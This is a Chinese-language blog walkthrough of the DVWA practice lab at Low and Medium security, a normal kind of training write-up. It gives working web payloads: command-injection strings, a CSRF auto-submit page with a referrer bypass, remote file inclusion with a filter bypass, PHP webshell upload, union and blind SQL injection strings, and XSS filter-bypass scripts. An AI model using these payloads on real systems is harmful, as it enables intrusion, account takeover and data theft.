最近在学习内网和系统方面的知识,有一段时间没有接触web方面的知识了,这里我就通过DVWA来进行复习,避免太久没有接触而生疏了。这里来记录一下过程。DVWA是什么这里就不介绍了。刚接触网安必接触的一个好的靶场。废话不多说,这里直接开始。
一、安装DVWA
DVWA可以通过下载源码来进行本地环境搭建,也可以使用docker安装,这里直接使用DVWA安装,更加简单,只要有docker即可,docker安装这里不再展示。
使用命令拉取镜像
docker pull citizenstig/dvwa

然后使用命令运行容器
docker run -dt --name dvwa -p 8999:80 --rm citizenstig/dvwa
然后在浏览器进行访问
http://localhost:8999

我这里使用的是子系统配置的,所以使用IP地址访问,访问之后初始化数据库,然后使用默认账号密码登录
账号:admin
密码:password
进去的页面如上所示。那么可以开始打靶场了。
靶场有几个等级,low,medium,high,impossible,这里我们从低往高进行。
二、Low
1、Vulnerability: Brute Force

这个只要使用暴力破解即可,使用bp的intruder模块进行爆破。这里就不再展示
2、Vulnerability: Command Injection

这个是通过输入ip地址进行ping,但是没有很好的过滤,导致能够通过管道符执行其它命令。比如说
127.0.0.1 && whoami

可以在最下面看到,whoami执行结果是www-data。其它命令这里不再展示。
3、Vulnerability: Cross Site Request Forgery (CSRF)

CSRF(跨站请求伪造),通过构造恶意页面来执行其恶意攻击。这里我们先尝试修改密码

可以看到修改后密码在url显示,以get方式进行。那么我们可以通过构造恶意链接让用户执行,比如说
http://172.25.54.94:8999/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
然后将此链接变成短链接诱导用户访问,然后即可更改密码

访问之后

密码更改成功。
4、Vulnerability: File Inclusion

通过访问file1.php,file2.php, file3.php会返回不通的内容,同时会将文件名传参给page参数
那么我们可以将其它的内容传给page来进行解析,比如说
http://172.25.54.94:8999/vulnerabilities/fi/?page=http://172.25.54.94/23.php


可以看到成功解析。
5、Vulnerability: File Upload

这里我们先上传php一句话木马,

上传成功,使用蚁剑连接

成功连接
6、Vulnerability: Insecure CAPTCHA

这里没有配置,就不再展示了
7、Vulnerability: SQL Injection

使用1'进行测试,发现出错了,说明有sql注入

那么直接order by


那么字段数为2,接下来就是爆表了,使用命令如下
1' union select 1,database()#

爆出表名dvwa,接下来就是列出一系列命令,这里不再展示
爆表:1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)#
爆列:1' union select 1,(select column_name from information_schema.columns where table_name='guestbook' limit 0,1)#
8、Vulnerability: SQL Injection (Blind)

盲注的话有时间盲注和布尔盲注,先展示布尔盲注,我们先看看布尔盲注是如何判断的


可以看到其爆出错误不同,那么我们就可以通过这个判断,布尔盲注命令如下
爆数据库长度:1'and length(database())=4#
爆数据库的第一个字符:1'and substr(database(),1,1)='a'#
爆表的长度:1'and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=9#
爆字段长度:1'and length(select column_name from information_schema.columns where
table_name='guestbook' limit 0,1)=10#
爆字段:1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#
其中也可以使用ascii码来进行,比如说
判断第一个的字符的ascii大于88:1'and ascii(substr(database(),1,1))>88#
表的长度为4

接下来就不再展示了。然后是时间盲注,使用命令如下
1'and if(length(database())=4,sleep(5),1)#
此语句意思是如果数据库的长度是4,那么执行slepp(5),否则返回1

然后判断的话如果会访问5秒只有就说明是对的,然后就是爆表,列之类的和上面一样即可。sql注入也可以使用sqlmap进行解决,但是个人比较喜欢手注,所以这里就没有展示工具的使用,不想手注的可以使用工具进行注入。
9、Vulnerability: Reflected Cross Site Scripting (XSS)

反射型XSS,只要使用相应的语句即可,比如说
<script>alert(1)</script>

10、Vulnerability: Stored Cross Site Scripting (XSS)

存储型XSS,只要在留言板能力使用上面的语句,那么每次访问时都会进行弹窗。

三、Medium
中等的话只是比低等的多了一些简单防御,这里我快速过一遍。细节就不再展示了。
1、Vulnerability: Brute Force
Medium等级主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果。
2、Vulnerability: Command Injection
添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入,比如说使用||也可以进行执行其它命令。
3、Vulnerability: Cross Site Request Forgery (CSRF)
Medium等级的CSRF加了一个referer头进行判断,那么我们可以构造恶意url来进行访问
首先构造恶意页面
<!DOCTYPE html>
<html>
<head>
<!-- 确保跨域请求时,Referer 发送完整路径 -->
<meta name="referrer" content="unsafe-url">
</head>
<body>
<form action="http://172.25.54.94:8999/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="hacked">
<input type="hidden" name="password_conf" value="hacked">
<input type="hidden" name="Change" value="Change">
</form>
<script>
// 页面加载后自动提交表单
document.forms[0].submit();
</script>
</body>
</html>
记住命名需要包括主机IP地址,比如说我的命名是172.25.54.94_hack.html。
然后使用python开一个http服务

然后使用如下url进行访问
http://127.0.0.1:8000/172.25.54.94_hack.html

更改成功。这样在referer头中就会带入相应的url。Referer绕过:添加<meta name="referrer" content="unsafe-url">,在访问的时候完整带上URL,即可绕过。有时候或者直接删除referer也可以绕过其防御。
4、Vulnerability: File Inclusion
Medium中将传参值中有http:// ,https:// …/ …\都将替换为空,那么我们使用
htthttp://p://172.25.54.94/23.php

5、Vulnerability: File Upload
只能上传jpg文件,那么我们就可以通过上传图片马,然后bp抓包修改后缀为php即可。
7、Vulnerability: SQL Injection
通过提交方式我们可以知道以post方式提交,那么其sql注入语句差别不大,只是需要抓包注入,这里就不再展示了。

8、Vulnerability: SQL Injection (Blind)
这个也是post方式。
9、Vulnerability: Reflected Cross Site Scripting (XSS)
这里过滤了<script>,那么我们可以通过双写即可绕过。
<scr<script>ipt>alert(1)</script>
10、Vulnerability: Stored Cross Site Scripting (XSS)
这个和上面是一样的。
四、High
high等级的话也是比较有挑战的,细节的话这里我就不展示了,推荐一个大佬写的,很详细,我肯定写不了那么详细的,哈哈哈。
10万+

被折叠的 条评论
为什么被折叠?



